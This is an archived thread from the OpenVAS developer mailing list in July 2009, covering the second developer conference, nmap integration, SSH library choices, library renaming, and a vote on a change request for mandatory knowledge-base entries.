From Jan-Oliver.Wagner at greenbone.net Fri Jul 3 12:56:22 2009 From: Jan-Oliver.Wagner at greenbone.net (Jan-Oliver Wagner) Date: Fri, 3 Jul 2009 12:56:22 +0200 Subject: [Openvas-devel] Upcoming OpenVAS DevCon2 Message-ID: <200907031256.24511.Jan-Oliver.Wagner@greenbone.net> Hello OpenVAS developers, already next week the second OpenVAS Developer Conference will start. We have 15 confirmed attendees (3 continents, 6 countries)! One of the first items of the agenda is to introduce yourself: Your background, relation to OpenVAS, focus, interests. I recommend you prepare 2-5 minutes for this; perhaps a single slide. Also, the better you prepare discussion items you are interested in, the more efficient we can bring together all the ideas and have joined conclusions on them. I am looking forward to meeting you in real life next week! All the best Jan -- Dr. Jan-Oliver Wagner | ++49-541-335084-0 | http://www.greenbone.net/ Greenbone Networks GmbH, Neuer Graben 17, 49074 Osnabr?ck | AG Osnabr?ck, HR B 202460 Gesch?ftsf?hrer: Lukas Grunwald, Dr. Jan-Oliver Wagner From geoff at galitz.org Mon Jul 6 11:50:53 2009 From: geoff at galitz.org (Geoff Galitz) Date: Mon, 6 Jul 2009 11:50:53 +0200 Subject: [Openvas-devel] nmap integration talk Message-ID: <55AE358A37204F318588F98FD5E3A5F9@geoffPC> I want to ask a few questions and/or raise a few points as general background on nmap integration, not directly related to Christian's document. 1) Do we wish to tie nmap directly into the server or keep it as a wrapper, but flesh out the wrapper more? 2) Nessus v2 would only allow a connection to one remote system for each executed scanner script. The idea was to prevent third party NASL scripts from leaking information to bad guys. I presume this restriction still exists in OpenVAS. How would nmap integration directly into the server affect this? 3) How confident are we that the Google SOC project for nmap library abstraction will be something useable in the near future? My own view is that I favor keeping nmap integration as a wrapper/plugin. 1) It makes alterations to nmap easier for the security IT staff running scans. 2) It makes data output from the various nmap output types easier to support when changed or new output types added. 3) It prevents the server from assuming nmap is available when it might not be. 4) I'm a little concerned that the nmap libraries (the Google SOC project) could be subverted by intruders which would cause sensitive data leakage to bad guys. Would OpenVAS server be able to prevent such leakage if the libraries were subverted? I certainly expect that those will become popular libraries for intruders to attack. 5) I support moving to XML output from nmap. -geoff --------------------------------- Geoff Galitz Blankenheim NRW, Germany http://www.galitz.org/ http://german-way.com/blog/ -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.wald.intevation.org/pipermail/openvas-devel/attachments/20090706/0c439d2b/attachment.htm From lists at securityspace.com Mon Jul 6 14:39:19 2009 From: lists at securityspace.com (Thomas Reinke) Date: Mon, 06 Jul 2009 08:39:19 -0400 Subject: [Openvas-devel] nmap integration talk In-Reply-To: <55AE358A37204F318588F98FD5E3A5F9@geoffPC> References: <55AE358A37204F318588F98FD5E3A5F9@geoffPC> Message-ID: <4A51F077.70007@securityspace.com> Geoff Galitz wrote: > > > > > I want to ask a few questions and/or raise a few points as general > background on nmap integration, not directly related to Christian's > document. > > > > 1) Do we wish to tie nmap directly into the server or keep it as a > wrapper, but flesh out the wrapper more? > > 2) Nessus v2 would only allow a connection to one remote system for each > executed scanner script. The idea was to prevent third party NASL > scripts from leaking information to bad guys. I presume this > restriction still exists in OpenVAS. How would nmap integration > directly into the server affect this? Actually, it's not to prevent leaking of info. It's a design issue born out of how nmap and OpenVAS were architected. But yes, the same issues still exist. > > 3) How confident are we that the Google SOC project for nmap library > abstraction will be something useable in the near future? > > > > > > My own view is that I favor keeping nmap integration as a wrapper/plugin. > I agree here. > > > 1) It makes alterations to nmap easier for the security IT staff running > scans. Yes. (But not sure how big a win this is. nmap is mature, so changes to the version of nmap would be done because of...???) > > 2) It makes data output from the various nmap output types easier to > support when changed or new output types added. Well, have to disagree here. I would presume that providing the library APIs are well thought out, there would not need to be any changes at all to OpenVAS should we use library integration. Certainly less than the current PITA approach of parsing output nmap generates. > > 3) It prevents the server from assuming nmap is available when it might > not be. The server would not need to assume - it would know because it was linked to it. But there is a benefit on the flip side. Make it a library, and if its not available at compile time, it's not available, period. Keep it a shell script, and its a simple case of adding the nmap package to the system at any point to add the capability. > > 4) I'm a little concerned that the nmap libraries (the Google SOC > project) could be subverted by intruders which would cause sensitive > data leakage to bad guys. Would OpenVAS server be able to prevent such > leakage if the libraries were subverted? I certainly expect that those > will become popular libraries for intruders to attack. How would subverting the libraries be any more easier than subverting the nmap shell command? > > 5) I support moving to XML output from nmap. > Whenever discussion gets to the issue of nmap and nessus and making changes, I have to get back to asking - what problem are we trying to solve here? From our personal experience, the issues we have seen are: 1) nmap is quite a memory hog when used in a "scan one IP at a time mode". Running 50 scans at a time, and you can easily have 50x the nmap resources used up simultaneously. 2) the annoyance of having to rejig the parsing of output when a new version of nmap comes out that has changed how it formats output. 3) support of different flavours of output for different versions of nmap. Moving to an lib nmap call would solve #2/#3, but the output of nmap as been pretty stable from a parsing perspective. Moving to a lib nmap would do nothing about solving the memory footprint issue, which is the only real problem we are aware of here (and was AFAIK the whole reason why Nessus developed the "import nmap port scan results into a Nessus scan") For the record, we had proposed a solution to Renaud almost a decade ago that solved the problem, and which we've done internally here, and that is to break the scan up into small chunks. You want to run a 65,536 port scan? You do it by scanning ports 0-1023. Then 1024-2047, and so on. Each scan is a small piece that uses a fraction of the memory footprint, but the overall scan times for the entire operation remain the same (or better). Unless I'm missing out on a given issue, if we're not interested in solving the resource problem (given that memory keeps getting bigger and cheaper), then I'm not sure there is a huge benefit to using a lib version of nmap as opposed to invoking it from a nasl wrapper. Thomas From geoff at galitz.org Tue Jul 7 11:23:03 2009 From: geoff at galitz.org (Geoff Galitz) Date: Tue, 7 Jul 2009 11:23:03 +0200 Subject: [Openvas-devel] nmap integration talk In-Reply-To: <4A51F077.70007@securityspace.com> References: <55AE358A37204F318588F98FD5E3A5F9@geoffPC> <4A51F077.70007@securityspace.com> Message-ID: <26593F715D84417DB9BAA3550314189E@geoffPC> > > > > > > > > I want to ask a few questions and/or raise a few points as general > > background on nmap integration, not directly related to Christian's > > document. > > > > > > > > 1) Do we wish to tie nmap directly into the server or keep it as a > > wrapper, but flesh out the wrapper more? > > > > 2) Nessus v2 would only allow a connection to one remote system for each > > executed scanner script. The idea was to prevent third party NASL > > scripts from leaking information to bad guys. I presume this > > restriction still exists in OpenVAS. How would nmap integration > > directly into the server affect this? > > Actually, it's not to prevent leaking of info. It's a design issue > born out of how nmap and OpenVAS were architected. But yes, the > same issues still exist. > I read in the NASL reference (http://michel.arboi.free.fr/nasl2ref/) that this was a design goal... that's how I interpreted it, anyways. It is not all that important to worry about why it is that way, at the moment. > > > > > > 1) It makes alterations to nmap easier for the security IT staff running > > scans. > > Yes. (But not sure how big a win this is. nmap is mature, so changes > to the version of nmap would be done because of...???) > I'm thinking about IT staff wanting take advantage of obscure or newly implemented options. With a well done implementation from the OpenVAS side, IT staff could pass any combination of features along, though. I regularly use different stealth scan features for testing from scan to scan. In my case, it would be handy to have various NASL scripts on hand that I can swap in and out rather than constantly make changes through the interface. > > > > 2) It makes data output from the various nmap output types easier to > > support when changed or new output types added. > > Well, have to disagree here. I would presume that providing the library > APIs are well thought out, there would not need to be any changes > at all to OpenVAS should we use library integration. Certainly less than > the current PITA approach of parsing output nmap generates. > I'll cede this point. > > > > > 4) I'm a little concerned that the nmap libraries (the Google SOC > > project) could be subverted by intruders which would cause sensitive > > data leakage to bad guys. Would OpenVAS server be able to prevent such > > leakage if the libraries were subverted? I certainly expect that those > > will become popular libraries for intruders to attack. > > How would subverting the libraries be any more easier than subverting > the nmap shell command? I never said it would be easier. But I believe it is a juicer target for skilled intruders and organized crime. Subverting the libraries would potentially gain access to information streams from all sorts of security or network applications that don't even exist, yet. With this approach, the bad guys just subvert the libraries and wait for developers to deploy new tools using those libraries. Certainly that can be done via the nmap binary now, but I expect over time the libraries would see greater and more regular deployment than the nmap binary. Just list this as a vague concern on my part that. I'm not using this point to argue against using the libraries when they become available. I just want to discuss the possibility. > > Whenever discussion gets to the issue of nmap and nessus and making > changes, I have to get back to asking - what problem are we trying > to solve here? I'm looking for a good default that provides well supported and various scanning mechanisms that can be easily reconfigured which can be hooked directly into the KB. I tend to think we are most of the way there, actually. As far I'm concerned it seems working on the current nmap wrapper would get us there. Obviously, I only speak for myself. I suspect others have other goals. > > Unless I'm missing out on a given issue, if we're not interested > in solving the resource problem (given that memory keeps getting > bigger and cheaper), then I'm not sure there is a huge benefit > to using a lib version of nmap as opposed to invoking it from > a nasl wrapper. Resolving performance issues is certainly noble and something to always have in mind, but I confess that was not on my radar when I started thinking about nmap integration. I agree that moving towards the libraries sounds like it could help... but there are no guarantees that would actually happen unless we got involved with the nmap library SOC project. > > Thomas -geoff From kost at linux.hr Thu Jul 9 13:05:04 2009 From: kost at linux.hr (Vlatko Kosturjak) Date: Thu, 09 Jul 2009 13:05:04 +0200 Subject: [Openvas-devel] OpenVAS DevCon2 Message-ID: <4A55CEE0.7080207@linux.hr> Hello! I hope you're all enjoying OpenVAS DevCon2 :) while I have to work... Hopefully, I will manage to come on next one... Anyway, here's my promised presentations and papers (in attachment). I think they are worth discussing them on DevCon. All presentations and papers should be self-explanatory, but if there's any questions, I will be available on IRC to discuss them. Kost -------------- next part -------------- A non-text attachment was scrubbed... Name: openvas-and-nmap-final.odp Type: application/vnd.oasis.opendocument.presentation Size: 62316 bytes Desc: not available Url : http://lists.wald.intevation.org/pipermail/openvas-devel/attachments/20090709/f979caf4/openvas-and-nmap-final-0001.bin -------------- next part -------------- A non-text attachment was scrubbed... Name: openvas-marketing-final.odp Type: application/vnd.oasis.opendocument.presentation Size: 61358 bytes Desc: not available Url : http://lists.wald.intevation.org/pipermail/openvas-devel/attachments/20090709/f979caf4/openvas-marketing-final-0001.bin -------------- next part -------------- A non-text attachment was scrubbed... Name: openvas-testing-final.odp Type: application/vnd.oasis.opendocument.presentation Size: 60752 bytes Desc: not available Url : http://lists.wald.intevation.org/pipermail/openvas-devel/attachments/20090709/f979caf4/openvas-testing-final-0001.bin -------------- next part -------------- A non-text attachment was scrubbed... Name: openvas-vhost.odt Type: application/vnd.oasis.opendocument.text Size: 23157 bytes Desc: not available Url : http://lists.wald.intevation.org/pipermail/openvas-devel/attachments/20090709/f979caf4/openvas-vhost-0001.bin From lists at securityspace.com Sat Jul 11 16:31:22 2009 From: lists at securityspace.com (Thomas Reinke) Date: Sat, 11 Jul 2009 10:31:22 -0400 Subject: [Openvas-devel] Function reference counts for NASL scripts Message-ID: <4A58A23A.6030805@securityspace.com> Attached, Thomas -- -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: Openvas.funcref Url: http://lists.wald.intevation.org/pipermail/openvas-devel/attachments/20090711/8fa0d081/Openvas.pot From geoff at galitz.org Tue Jul 14 13:50:02 2009 From: geoff at galitz.org (Geoff Galitz) Date: Tue, 14 Jul 2009 13:50:02 +0200 Subject: [Openvas-devel] SSH libraries Message-ID: <5FF536511727478DA7304F20A10BFD7F@geoffPC> So I was tasked (errr... "volunteered") at the Devcon with scouting out alternate SSH libraries due to library bugs leading to awkward workarounds in the NASL scripts. It would make my job a little easier if I knew what these bugs were. We did not go into that kind of detail during the meeting. I checked the tracker and didn't see anything obvious. Doing an SSH library survey is good thing in general (and something that can be published) but if these bugs are not well documented, there is no guarantee we'd be back at the same situation in a few months. Undocumented bugs don't get fixed, after all. -geoff --------------------------------- Geoff Galitz Blankenheim NRW, Germany http://www.galitz.org/ http://german-way.com/blog/ -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.wald.intevation.org/pipermail/openvas-devel/attachments/20090714/ccad1f58/attachment.html From lists at securityspace.com Tue Jul 14 16:10:35 2009 From: lists at securityspace.com (Thomas Reinke) Date: Tue, 14 Jul 2009 10:10:35 -0400 Subject: [Openvas-devel] SSH libraries In-Reply-To: <5FF536511727478DA7304F20A10BFD7F@geoffPC> References: <5FF536511727478DA7304F20A10BFD7F@geoffPC> Message-ID: <4A5C91DB.5010002@securityspace.com> I believe the general issue was that the existing openvas ssh libraries are a custom built job and have shown themselves not to always work on all different architectures. It makes no good sense for openvas to re-invent the wheel on this, independent of what any given bug might be. It is likely that any decent library implementation will likely not have any more issues than what we've seen out of ssh_func.inc. And when an issue does arise, it is the perfect thing for the library developer to fix, not us. We don't want to be the experts in this domain, if we can avoid it. Might be run into a separate issue? Yes. No guarantees. But we're saying that's acceptable given the other benefits. Thomas Geoff Galitz wrote: > > > > > So I was tasked (errr... "volunteered") at the Devcon with scouting out > alternate SSH libraries due to library bugs leading to awkward > workarounds in the NASL scripts. It would make my job a little easier > if I knew what these bugs were. We did not go into that kind of detail > during the meeting. > > > > I checked the tracker and didn't see anything obvious. Doing an SSH > library survey is good thing in general (and something that can be > published) but if these bugs are not well documented, there is no > guarantee we'd be back at the same situation in a few months. > Undocumented bugs don't get fixed, after all. > > > > > > > > -geoff > > > > > > > > > > --------------------------------- > Geoff Galitz > Blankenheim NRW, Germany > http://www.galitz.org/ > http://german-way.com/blog/ > > > > > ------------------------------------------------------------------------ > > _______________________________________________ > Openvas-devel mailing list > Openvas-devel at wald.intevation.org > http://lists.wald.intevation.org/mailman/listinfo/openvas-devel From Jan-Oliver.Wagner at greenbone.net Tue Jul 14 19:29:59 2009 From: Jan-Oliver.Wagner at greenbone.net (Jan-Oliver Wagner) Date: Tue, 14 Jul 2009 19:29:59 +0200 Subject: [Openvas-devel] Call for comment on Change Request #39 (Mandatory KB entries) Message-ID: <200907141930.00028.Jan-Oliver.Wagner@greenbone.net> Hello, one of the hacking discussion items at DevCon2 was that for several occasions it would be good to allow specification of mandatory keys in KB. I've summarized this into a Change Request: http://www.openvas.org/openvas-cr-39.html In fact it is pretty straight forward to implement. I would appreciate this feature very much to cleanly solve the nightmare about testing presence of tools (nmap, ovaldi, portbunny and many more). I could imagine that local security checks might use this as well. Please let me know what you think. I prefer to run the vote as soon as possible. Best Jan -- Dr. Jan-Oliver Wagner | ++49-541-335084-0 | http://www.greenbone.net/ Greenbone Networks GmbH, Neuer Graben 17, 49074 Osnabr?ck AG Osnabr?ck, HR B 202460 | Gesch?ftsf?hrer: Lukas Grunwald, Dr. Jan-Oliver Wagner From Jan-Oliver.Wagner at greenbone.net Tue Jul 14 19:34:30 2009 From: Jan-Oliver.Wagner at greenbone.net (Jan-Oliver Wagner) Date: Tue, 14 Jul 2009 19:34:30 +0200 Subject: [Openvas-devel] Call for review on Change Request #38 (library reorganization) Message-ID: <200907141934.30667.Jan-Oliver.Wagner@greenbone.net> Hello, I've assembled the minutes of the OpenVAS DevCon2 session on library consolidation directly into a change request. It has been review by the participants of that session. http://www.openvas.org/openvas-cr-38.html Please let us know what you think about it. It is not ultimately urgent. But a decision on this could clear some minds up on future architecture. All the best and thanks to the session team (Matt, Michael, Felix and Tobias). Jan -- Dr. Jan-Oliver Wagner | ++49-541-335084-0 | http://www.greenbone.net/ Greenbone Networks GmbH, Neuer Graben 17, 49074 Osnabr?ck AG Osnabr?ck, HR B 202460 | Gesch?ftsf?hrer: Lukas Grunwald, Dr. Jan-Oliver Wagner From lists at securityspace.com Tue Jul 14 20:00:29 2009 From: lists at securityspace.com (Thomas Reinke) Date: Tue, 14 Jul 2009 14:00:29 -0400 Subject: [Openvas-devel] Call for comment on Change Request #39 (Mandatory KB entries) In-Reply-To: <200907141930.00028.Jan-Oliver.Wagner@greenbone.net> References: <200907141930.00028.Jan-Oliver.Wagner@greenbone.net> Message-ID: <4A5CC7BD.1090301@securityspace.com> I REALLY like the idea from the perspective of the performance improvements that will be gained by not having to parse/compile thousands of LSC's during an audit. Eventually, (possibly already), without this feature, most of the CPU cycles in an audit will be consumed by compiling scripts never needed during the run of an audit, which is just wasteful. This solves the problem very neatly. Thomas From timb at nth-dimension.org.uk Tue Jul 14 20:13:03 2009 From: timb at nth-dimension.org.uk (Tim Brown) Date: Tue, 14 Jul 2009 19:13:03 +0100 Subject: [Openvas-devel] Call for review on Change Request #38 (library reorganization) In-Reply-To: <200907141934.30667.Jan-Oliver.Wagner@greenbone.net> References: <200907141934.30667.Jan-Oliver.Wagner@greenbone.net> Message-ID: <200907141913.04742.timb@nth-dimension.org.uk> On Tuesday 14 July 2009 18:34:30 Jan-Oliver Wagner wrote: > I've assembled the minutes of the OpenVAS DevCon2 session > on library consolidation directly into a change request. > It has been review by the participants of that session. > > http://www.openvas.org/openvas-cr-38.html > > Please let us know what you think about it. > It is not ultimately urgent. But a decision on this > could clear some minds up on future architecture. > > All the best and thanks to the session team (Matt, > Michael, Felix and Tobias). Great, I was waiting for this to come through so that I could comment. Was there any discussion about that the various libraries should be known as on the filesystem? The reason I ask is that for example, libstring might be a bit generic. Maybe libopenvas- or something? +1 to the concept though, it should make life much easier. Tim -- Tim Brown From mmundell at intevation.de Wed Jul 15 13:34:01 2009 From: mmundell at intevation.de (Matthew Mundell) Date: 15 Jul 2009 11:33:01 -0001 Subject: [Openvas-devel] Call for review on Change Request #38 (library reorganization) In-Reply-To: Message of Tue, 14 Jul 2009 19:13:03 +0100. <200907141913.04742.timb@nth-dimension.org.uk> Message-ID: <20090715113403.B4EC6DEB80@mail.ukfsn.org> > Great, I was waiting for this to come through so that I could comment. Was > there any discussion about that the various libraries should be known as on > the filesystem? The reason I ask is that for example, libstring might be a > bit generic. Maybe libopenvas- or something? Yeah, we agreed on libopenvas-* where * is the directory name inside the openvas-libraries module, e.g libopenvas-net or libopenvas-base. -- Intevation GmbH, Neuer Graben 17, 49074 Osnabr?ck | AG Osnabr?ck, HR B 18998 Gesch?ftsf?hrer: Frank Koormann, Bernhard Reiter, Dr. Jan-Oliver Wagner From mmundell at intevation.de Wed Jul 15 14:31:02 2009 From: mmundell at intevation.de (Matthew Mundell) Date: 15 Jul 2009 12:30:02 -0001 Subject: [Openvas-devel] Call for review on Change Request #38 (library reorganization) In-Reply-To: Message of 15 Jul 2009 11:33:01 -0001. <20090715113403.B4EC6DEB80@mail.ukfsn.org> Message-ID: <20090715123105.175AADEB82@mail.ukfsn.org> > > Great, I was waiting for this to come through so that I could comment. Was > > there any discussion about that the various libraries should be known as on > > the filesystem? The reason I ask is that for example, libstring might be a > > bit generic. Maybe libopenvas- or something? > > Yeah, we agreed on libopenvas-* where * is the directory name inside the > openvas-libraries module, e.g libopenvas-net or libopenvas-base. Oh, wait, I think we said that the dash above should be an underscore so that the dash can be used for version numbers, as in libnss_nis-2.3.6. So libopenvas_net, libopenvas_base-1.0, etc. -- Intevation GmbH, Neuer Graben 17, 49074 Osnabr?ck | AG Osnabr?ck, HR B 18998 Gesch?ftsf?hrer: Frank Koormann, Bernhard Reiter, Dr. Jan-Oliver Wagner From Jan-Oliver.Wagner at greenbone.net Wed Jul 15 21:30:12 2009 From: Jan-Oliver.Wagner at greenbone.net (Jan-Oliver Wagner) Date: Wed, 15 Jul 2009 21:30:12 +0200 Subject: [Openvas-devel] Call for comment on Change Request #39 (Mandatory KB entries) In-Reply-To: <4A5CC7BD.1090301@securityspace.com> References: <200907141930.00028.Jan-Oliver.Wagner@greenbone.net> <4A5CC7BD.1090301@securityspace.com> Message-ID: <200907152130.12304.Jan-Oliver.Wagner@greenbone.net> On Tuesday 14 July 2009 20:00:29 Thomas Reinke wrote: > I REALLY like the idea from the perspective of the > performance improvements that will be gained by not > having to parse/compile thousands of LSC's during > an audit. Eventually, (possibly already), without > this feature, most of the CPU cycles in an audit > will be consumed by compiling scripts never needed > during the run of an audit, which is just wasteful. > This solves the problem very neatly. thanks for the confiming words :-) Guess I can call for the vote right away. Best Jan -- Dr. Jan-Oliver Wagner | ++49-541-335084-0 | http://www.greenbone.net/ Greenbone Networks GmbH, Neuer Graben 17, 49074 Osnabr?ck AG Osnabr?ck, HR B 202460 | Gesch?ftsf?hrer: Lukas Grunwald, Dr. Jan-Oliver Wagner From Jan-Oliver.Wagner at greenbone.net Wed Jul 15 23:02:35 2009 From: Jan-Oliver.Wagner at greenbone.net (Jan-Oliver Wagner) Date: Wed, 15 Jul 2009 23:02:35 +0200 Subject: [Openvas-devel] OpenVAS DevCon2 aftermath Message-ID: <200907152302.35386.Jan-Oliver.Wagner@greenbone.net> Hello, thanks again for all of you who participated in the OpenVAS DevCon2 last week in Osnabr?ck and all who gave input via email or chat prior to and during the conference! At least in my opinion the DevCon2 was a great success. The amount of results we achieved in discussion and hacking sessions is clearly beyond what I hoped for :-) The work pile I got from this DevCon is huge, so is yours? ;-) I hope you all enjoyed your stay in Osnabr?ck. There are lots of things to write up. Felix was volunteered to collect them and bring into a consistent form. We will then circulate the minutes again among the participants to check back whether anything is missing or wrong. Finally this all should go to the DevCon2 web page. All the best Jan -- Dr. Jan-Oliver Wagner | ++49-541-335084-0 | http://www.greenbone.net/ Greenbone Networks GmbH, Neuer Graben 17, 49074 Osnabr?ck AG Osnabr?ck, HR B 202460 | Gesch?ftsf?hrer: Lukas Grunwald, Dr. Jan-Oliver Wagner From Jan-Oliver.Wagner at greenbone.net Thu Jul 16 00:45:31 2009 From: Jan-Oliver.Wagner at greenbone.net (Jan-Oliver Wagner) Date: Thu, 16 Jul 2009 00:45:31 +0200 Subject: [Openvas-devel] Call for vote on CR#39 (mandatory KB entries) Message-ID: <200907160045.31486.Jan-Oliver.Wagner@greenbone.net> Hello, I'd like to call for vote on Change Request #39 (Mandatory KB entries): http://www.openvas.org/openvas-cr-39.html Naturally, I vote +1. All the best Jan -- Dr. Jan-Oliver Wagner | ++49-541-335084-0 | http://www.greenbone.net/ Greenbone Networks GmbH, Neuer Graben 17, 49074 Osnabr?ck AG Osnabr?ck, HR B 202460 | Gesch?ftsf?hrer: Lukas Grunwald, Dr. Jan-Oliver Wagner From lists at securityspace.com Thu Jul 16 01:30:51 2009 From: lists at securityspace.com (Thomas Reinke) Date: Wed, 15 Jul 2009 19:30:51 -0400 Subject: [Openvas-devel] Call for vote on CR#39 (mandatory KB entries) In-Reply-To: <200907160045.31486.Jan-Oliver.Wagner@greenbone.net> References: <200907160045.31486.Jan-Oliver.Wagner@greenbone.net> Message-ID: <4A5E66AB.8040403@securityspace.com> +1 Jan-Oliver Wagner wrote: > Hello, > > I'd like to call for vote on Change Request #39 (Mandatory KB entries): > > http://www.openvas.org/openvas-cr-39.html > > Naturally, I vote +1. > > All the best > > Jan > From randy at procyonlabs.com Thu Jul 16 06:43:42 2009 From: randy at procyonlabs.com (Randal T. Rioux) Date: Thu, 16 Jul 2009 00:43:42 -0400 Subject: [Openvas-devel] openvas-libraries - configure.in Message-ID: <4A5EAFFE.5020705@procyonlabs.com> The following autotools check works on Linux but not on Solaris: AC_CHECK_LIB(pcap, pcap_restart, LIBS="-lpcap $LIBS", AC_MSG_ERROR(you need to install pcap library with development files)) I can't find where pcap_restart is even used. Is it safe to cut this from the list of checks? Thanks, Randy From michael.wiegand at intevation.de Thu Jul 16 08:19:56 2009 From: michael.wiegand at intevation.de (Michael Wiegand) Date: Thu, 16 Jul 2009 08:19:56 +0200 Subject: [Openvas-devel] Call for vote on CR#39 (mandatory KB entries) In-Reply-To: <200907160045.31486.Jan-Oliver.Wagner@greenbone.net> References: <200907160045.31486.Jan-Oliver.Wagner@greenbone.net> Message-ID: <20090716061956.GD8953@intevation.de> * Jan-Oliver Wagner [16. Jul 2009]: > I'd like to call for vote on Change Request #39 (Mandatory KB entries): > > http://www.openvas.org/openvas-cr-39.html +1. Regards, Michael -- Michael Wiegand | OpenPGP: D7D049EC | Intevation GmbH - www.intevation.de Neuer Graben 17, 49074 Osnabr?ck, Germany | AG Osnabr?ck, HR B 18998 Gesch?ftsf?hrer: Frank Koormann, Bernhard Reiter, Dr. Jan-Oliver Wagner -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 198 bytes Desc: not available Url : http://lists.wald.intevation.org/pipermail/openvas-devel/attachments/20090716/37712a5b/attachment.pgp From c_edjenguele at yahoo.it Thu Jul 16 08:25:01 2009 From: c_edjenguele at yahoo.it (Christian Eric EDJENGUELE) Date: Thu, 16 Jul 2009 06:25:01 +0000 (GMT) Subject: [Openvas-devel] Call for vote on CR#39 (mandatory KB entries) In-Reply-To: <20090716061956.GD8953@intevation.de> References: <200907160045.31486.Jan-Oliver.Wagner@greenbone.net> <20090716061956.GD8953@intevation.de> Message-ID: <124917.3727.qm@web28611.mail.ukl.yahoo.com> +1 --- Christian Eric Edjenguele IT Security Engineer & Researcher ----- Messaggio originale ----- > Da: Michael Wiegand > A: openvas-devel at wald.intevation.org > Inviato: Gioved? 16 luglio 2009, 8:19:56 > Oggetto: Re: [Openvas-devel] Call for vote on CR#39 (mandatory KB entries) > > * Jan-Oliver Wagner [16. Jul 2009]: > > I'd like to call for vote on Change Request #39 (Mandatory KB entries): > > > > http://www.openvas.org/openvas-cr-39.html > > +1. > > Regards, > > Michael > > -- > Michael Wiegand | OpenPGP: D7D049EC | Intevation GmbH - www.intevation.de > Neuer Graben 17, 49074 Osnabr?ck, Germany | AG Osnabr?ck, HR B 18998 > Gesch?ftsf?hrer: Frank Koormann, Bernhard Reiter, Dr. Jan-Oliver Wagner From michael.wiegand at intevation.de Thu Jul 16 08:46:14 2009 From: michael.wiegand at intevation.de (Michael Wiegand) Date: Thu, 16 Jul 2009 08:46:14 +0200 Subject: [Openvas-devel] openvas-libraries - configure.in In-Reply-To: <4A5EAFFE.5020705@procyonlabs.com> References: <4A5EAFFE.5020705@procyonlabs.com> Message-ID: <20090716064614.GE8953@intevation.de> * Randal T. Rioux [16. Jul 2009]: > The following autotools check works on Linux but not on Solaris: > > AC_CHECK_LIB(pcap, pcap_restart, LIBS="-lpcap $LIBS", > AC_MSG_ERROR(you need to install pcap library with development files)) > > I can't find where pcap_restart is even used. Is it safe to cut this > from the list of checks? At a first glance, I'd guess the test is to ensure libpcap is present on this system by testing for a function known to be in there. As it turns out, the test you found is not very reliable, it seems. ;) openvas-libraries still depends on libpcap, so I think the best solution would be to upgrade this test to reliably identify the presence of libpcap. Do you think you can do that or would you like assistance? Regards, Michael -- Michael Wiegand | OpenPGP: D7D049EC | Intevation GmbH - www.intevation.de Neuer Graben 17, 49074 Osnabr?ck, Germany | AG Osnabr?ck, HR B 18998 Gesch?ftsf?hrer: Frank Koormann, Bernhard Reiter, Dr. Jan-Oliver Wagner -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 198 bytes Desc: not available Url : http://lists.wald.intevation.org/pipermail/openvas-devel/attachments/20090716/e6eee6e9/attachment.pgp From felix.wolfsteller at intevation.de Thu Jul 16 09:17:17 2009 From: felix.wolfsteller at intevation.de (Felix Wolfsteller) Date: Thu, 16 Jul 2009 09:17:17 +0200 Subject: [Openvas-devel] Call for comment on Change Request #39 (Mandatory KB entries) In-Reply-To: <200907141930.00028.Jan-Oliver.Wagner@greenbone.net> References: <200907141930.00028.Jan-Oliver.Wagner@greenbone.net> Message-ID: <200907160917.17699.felix.wolfsteller@intevation.de> Mmh, that call for vote was a tiny bit too fast for me :) +1, but thoughts follow below. I do like the general idea, although the whole pluginscheduler needs some thoughts and work imho. I would also like more scripts to expose the information gain (e.g. provides_key); with that a much better launch order and launch dependencies could be created. The problem is that the mandatory key could be set by a plugin in the same (launch) category. The only way to ensure a correct launch order then would be to add the script that provides the key to the dependency list. Now if a new NVT could provide the same kb items, the first script has to be adjusted to be dependent on the newer one, too. I am also not sure whether it shouldnt be mandatory_kb_item, I hope the examples clarify (although they are completely made up) mandatory_key ("/app/version/1.3"); mandatory_key ("server-known-app/nmap") vs mandatory_kb_item (key:"/app/version", value:"1.3"); mandatory_kb_item (key:"/server-known-app", value:"nmap"); which would still allow for mandatory_kb_item (key:"/all_info_contained_in_key"); The latter has the advantage of being able to work with lists which in the examples that came to my mind makes more sense. Instead of letting the parser throw error messages (see the "Effects" section), I would suggest to start on a compatibility.inc that can emulate this function (then after compilation, at runtime), as it is already done in many scripts, like if (!get_kb_item....) exit(); compatibility.inc could then look like // Either use defined_func or NASL_LEVEL // Probably NASL_LEVEL is the better choice if(!defined_func(mandatory_keys)) { function mandatory_keys (...) { if (!get_kb_item.... && !description) exit(); } } This requires to call mandatory_keys twice, though (once within the description, once outside) and its not clear whether conditioned function definitions do work as expected. It goes along the argumentation that mandatory_keys is used for performance issues. -- Felix On Tuesday 14 July 2009 19:29:59 Jan-Oliver Wagner wrote: > Hello, > > one of the hacking discussion items at DevCon2 > was that for several occasions it would be good > to allow specification of mandatory keys in KB. > > I've summarized this into a Change Request: > http://www.openvas.org/openvas-cr-39.html > > In fact it is pretty straight forward to implement. > > I would appreciate this feature very much to cleanly > solve the nightmare about testing presence of > tools (nmap, ovaldi, portbunny and many more). > > I could imagine that local security checks might > use this as well. > > Please let me know what you think. I prefer to run > the vote as soon as possible. > > Best > > Jan -- Felix Wolfsteller | ++49-541-335 08 3451 | http://www.intevation.de/ PGP Key: 39DE0100 Intevation GmbH, Neuer Graben 17, 49074 Osnabr?ck | AG Osnabr?ck, HR B 18998 Gesch?ftsf?hrer: Frank Koormann, Bernhard Reiter, Dr. Jan-Oliver Wagner From mime at gmx.de Thu Jul 16 10:17:47 2009 From: mime at gmx.de (Michael Meyer) Date: Thu, 16 Jul 2009 10:17:47 +0200 Subject: [Openvas-devel] Call for vote on CR#39 (mandatory KB entries) In-Reply-To: <200907160045.31486.Jan-Oliver.Wagner@greenbone.net> References: <200907160045.31486.Jan-Oliver.Wagner@greenbone.net> Message-ID: <20090716081747.GA2439@komma-nix.de> *** Jan-Oliver Wagner wrote: > http://www.openvas.org/openvas-cr-39.html +1 Micha From bchandra at secpod.com Thu Jul 16 09:27:30 2009 From: bchandra at secpod.com (Chandrashekhar B) Date: Thu, 16 Jul 2009 12:57:30 +0530 Subject: [Openvas-devel] Call for vote on CR#39 (mandatory KB entries) In-Reply-To: <200907160045.31486.Jan-Oliver.Wagner@greenbone.net> References: <200907160045.31486.Jan-Oliver.Wagner@greenbone.net> Message-ID: +1 